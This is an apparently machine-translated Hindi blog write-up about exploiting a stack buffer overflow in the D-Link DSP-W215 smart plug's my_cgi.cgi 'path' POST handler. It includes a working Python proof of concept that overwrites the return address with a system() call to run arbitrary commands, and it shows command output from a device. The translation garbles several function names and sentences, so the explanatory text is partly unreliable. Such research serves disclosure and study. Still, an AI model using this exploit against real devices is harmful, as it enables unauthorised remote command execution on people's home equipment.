🖕 🧓🏾 🐒 हैक डी-लिंक डीएसपी-डब्ल्यू 2 15 स्मार्ट प्लग: फिर से, फिर से 👨🏾‍🎨 🧖🏼 👨🏾‍✈️

पिछली श्रृंखला में:

अब तक, DSP-W215 में पाई जाने वाली सभी कमजोरियां केवल LAN से ही की जा सकती हैं, ठीक है, अगर आप बेवकूफ नहीं हैं और इंटरनेट से स्मार्ट प्लग का उपयोग नहीं करते हैं।

एक अंतर्निहित वेब सर्वर के साथ उपकरणों पर हमला करने का एक विशिष्ट तरीका, केवल आंतरिक नेटवर्क से सुलभ है, जैसे कि डीएसपी-डब्ल्यू 215, सीएसआरएफ के माध्यम से है। इस विधि के साथ समस्या यह है कि कोई भी वेब ब्राउज़र प्रेषित डेटा (urlencode) को एनकोड करेगा, उदाहरण के लिए, वापसी का पता, लेकिन उस क्षण तक जब तक हम कमजोरियों का उपयोग करते थे जो हमारे डेटा को डीलेड नहीं करती थी (हमारे द्वारा उपयोग किए जा रहे रिप्लेसमेंट_special_char फ़ंक्शन में भेद्यता) पिछला लेख, ASCII वर्णों के केवल एक सीमित सेट को डिकोड करता है)।

बाइनरी फ़ाइल my_cgi.cgi, जो मुख्य असुरक्षित लक्ष्य है, जिसमें एक डीकोड डिकोडर फ़ंक्शन होता है जो POST डेटा को डीकोड करता है। इस फ़ंक्शन को दो तर्क दिए गए हैं: एन्कोडेड डेटा के लिए एक पॉइंटर और एक बफर को एक पॉइंटर जहां डिकोड किए गए डेटा को संग्रहीत किया जाता है:

void decode(char *encode_buf, char *decode_buf);

यह फ़ंक्शन केवल एनकोड_buf में सभी बाइट्स के माध्यम से छोरों और डिकोड्स या डिकोड करने के लिए उन्हें कॉपी करता है:

मोटे तौर पर, उसका कोड कुछ इस तरह दिखता है:

 void decode(char *encode_buf, char *decode_buf) { int encoded_byte_len; char *encode_buf_end_ptr = encode_buf + strlen(encode_buf); // Loop through all bytes in encode_buf, without knowing how big decode_buf is while(encoded_data < encode_buf_end_ptr) { /* * ... * Do Decoding of the next byte in encoded_data. * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3). * ... */ decode_buf[0] = decoded_byte; decode_buf++; encoded_data += encoded_byte_len; } }

यदि कॉलिंग फ़ंक्शन सभी डीकोड किए गए डेटा को बचाने के लिए एक बफर को पर्याप्त रूप से आवंटित करने का ध्यान नहीं रखता है, तो यह बफर (डीकोड_ब्यूफ़) एक बड़े POST पैरामीटर के साथ बह निकला जा सकता है।

My_cgi.cgi में केवल एक फ़ंक्शन है जिसमें से डिकोडिंग फ़ंक्शन कहा जाता है - get_input_entries:

जैसा कि आप देख सकते हैं, डीकोड फ़ंक्शन को केवल तभी कहा जाता है जब POST पैरामीटर का नाम पथ है, और आप यह देख सकते हैं कि डिकोड_buf बफर स्टैक पर केवल 0 × 400 आवंटित किया गया है:

 char decode_buf[0x400]; if(strcmp(entries[i]->name, "path") == 0) { // Decode path POST value into the fixed-size decode_buf decode(entries[i]->value, decode_buf); strcpy(entries[i]->value, decode_buf); } replace_special_char(entries[i]->value);

इसका मतलब यह है कि यदि हम POST अनुरोध में एक "पथ" मान 0 × 400 बाइट्स से बड़ा करते हैं, तो डिकोड_buf बफर get_input_entries फ़ंक्शन के अंदर स्टैक पर बह जाएगा। और, अधिक दिलचस्प बात यह है कि हमारे पास "खराब" बाइट्स नहीं होंगे, क्योंकि डिकोड फ़ंक्शन उन सभी को डिकोड करता है (उदाहरण के लिए, स्टैक पर वापस कॉपी करने से पहले% 00 को NULL बाइट्स में बदल देता है)।

हालांकि, हमें शोषण का संकलन करते समय सावधानी बरतने की जरूरत है ताकि रिप्ले_स्पेशल_चार फंक्शन में बफर ओवरफ्लो न हो, जिसे get_input_entries से लौटने से पहले बुलाया जाता है।

सौभाग्य से, डेटा जो पहले_शेष_के पास दिया जाता है, वह पहले डिकोड_बुफ से गुजरता है, इसलिए यदि हम POST अनुरोध की शुरुआत के करीब कहीं NULL बाइट डालते हैं, तो रिप्लेस_स्पेशल_चर फंक्शन एक बहुत ही कम स्ट्रिंग पास होगा (वह सब जो पहले NULL से पहले था बाइट) पूरे POST अनुरोध के बजाय जो स्टैक पर डिकोड किया गया था।

POST मान "पथ", 1060 बाइट्स से अधिक, get_input_entries फ़ंक्शन के स्टैक फ्रेम में सब कुछ ओवरफ्लो करता है, जिसमें रिटर्न एड्रेस भी शामिल है:

और क्योंकि हमारे पास "खराब" बाइट्स नहीं हैं, हम रिटर्न एड्रेस 0x00405CEC का उपयोग कर सकते हैं, जिसका उपयोग हमने पिछले कारनामों में किया था, सिस्टम को कॉल करने के लिए () स्टैक के लिए एक सूचक ($ sp + 0 × 28):

यहाँ एक छोटा सा पायथन PoC कोड है जो get_input_entries फ़ंक्शन को ओवरराइड करता है, एक 0x00405CEC पर एक सिस्टम () कॉल के साथ रिटर्न एड्रेस को बदलता है, और ऑफ़ $ $ + × 28 पर स्टैक पर कमांड चलाता है:

 import sys import urllib import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "\x00" # Start with a NULL byte to prevent crashing in replace_special_chars buf += "D" * (1060-1) # Stack filler buf += "\x00\x40\x5C\xEC" # $ra, address of call to system() buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command, for good measure # URL encode the path POST value post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20') # Set a referer to show that there are no CSRF protections headers = {'Referer' : 'http://www.attacker.com/exploit.html'} req = urllib2.Request(url, post_data, headers) print urllib2.urlopen(req).read()

यह उम्मीद के मुताबिक काम करता है:

 $ ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www

हैक डी-लिंक डीएसपी-डब्ल्यू 2 15 स्मार्ट प्लग: फिर से, फिर से

More articles: